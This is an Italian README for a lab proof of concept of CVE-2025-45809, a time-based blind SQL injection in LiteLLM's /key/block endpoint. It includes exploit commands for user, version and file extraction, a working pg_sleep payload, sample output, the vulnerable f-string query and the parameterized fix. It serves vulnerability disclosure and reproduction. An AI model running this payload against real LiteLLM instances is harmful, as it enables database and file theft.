
Codice per riprodurre la vulnerabilità singolarmente
/key/block (Blind SQLi basata sul tempo)LiteLLM v1.65.4 (versioni precedenti alla v1.81.0), negli endpoint
/key/blocke/key/unblockil parametrokeypresenta una vulnerabilità di iniezione SQL. Un attaccante può sfruttare tecniche di blind injection basate sul tempo per sottrarre il contenuto del database e leggere file dal server.
| Campo | Valore |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Versioni interessate | LiteLLM < 1.81.0 (confermato su v1.65.4) |
| Risolta in | v1.81.0+ (correzione tramite query parametrizzate) |
| Pubblicata | 2025-07-03 |
| Scoperta da | shadia0 (tramite bounty Huntr) |
| Collegamenti | NVD • Huntr • Snyk |
Gli endpoint /key/block e /key/unblock di LiteLLM vengono utilizzati per gestire il blocco/sblocco delle chiavi API.
Quando questi endpoint elaborano il parametro key, concatenano direttamente l'input dell'utente nella stringa della query SQL (tramite formattazione
f-string), senza utilizzare query parametrizzate, causando una vulnerabilità di iniezione SQL.
| Endpoint | Metodo | Parametro di iniezione |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() di PostgreSQL per confermare l'iniezione tramite la differenza nei tempi di rispostapg_read_file() di PostgreSQL per leggere file dal server# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Nota: alla prima esecuzione, l'exploit chiama automaticamente
/key/generateper creare una chiave API, innescando Prisma per completare la creazione della tabellaKeynel database. Questo è il prerequisito necessario affinché l'endpoint/key/blockpossa raggiungere il percorso della query SQL vulnerabile. Se si salta questo passaggio,/key/blockrestituisce direttamente un 401 perché la tabellaKeynon è inizializzata, impedendo l'attivazione dell'iniezione.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Output previsto
**Conferma dell'iniezione (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**La versione corretta rifiuta l'iniezione:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Dettagli tecnici
### Codice vulnerabile
In LiteLLM v1.65.4, la logica di gestione dell'endpoint `/key/block` è simile alla seguente (versione semplificata):
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
L'attaccante inietta la funzione di ritardo temporale di PostgreSQL nel parametro key:
' OR (SELECT pg_sleep(5)) IS NULL --
La SQL risultante dalla concatenazione diventa:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Scenario di test | Tempo di risposta | Risultato |
|---|---|---|
| Richiesta normale (key=test) | ~0.01s | Baseline |
| pg_sleep(3) | ~3.01s | Iniezione attiva |
| pg_sleep(5) | ~5.01s | Iniezione confermata |
LiteLLM v1.65.4 utilizza Prisma ORM per gestire il database. La tabella Key adotta una strategia di creazione lazy:
prima della prima chiamata a /key/generate per creare una chiave API, la tabella Key non esiste ancora in PostgreSQL.
Di conseguenza, la query di validazione della chiave dell'endpoint /key/block (WHERE key='{input}') restituisce un 401 a causa dell'assenza della tabella,
prima ancora di raggiungere il percorso di codice SQL vulnerabile.
Il PoC attuale gestisce automaticamente questo problema: prima di inviare il payload di iniezione, lo script exploit chiama
/key/generate per creare una chiave API, assicurando che la tabella del database sia pronta.
Nota: al primo avvio del container è necessario attendere circa 30-60s (installazione della Prisma CLI + inizializzazione del database); eseguire l'exploit solo dopo che nei log compare
Uvicorn running on http://0.0.0.0:4000.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
La correzione è stata introdotta nella v1.81.0, sostituendo la concatenazione f-string con query parametrizzate (Prepared Statements):
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
keyDisclaimer: Questo contenuto è fornito solo a scopo educativo e per test di sicurezza autorizzati.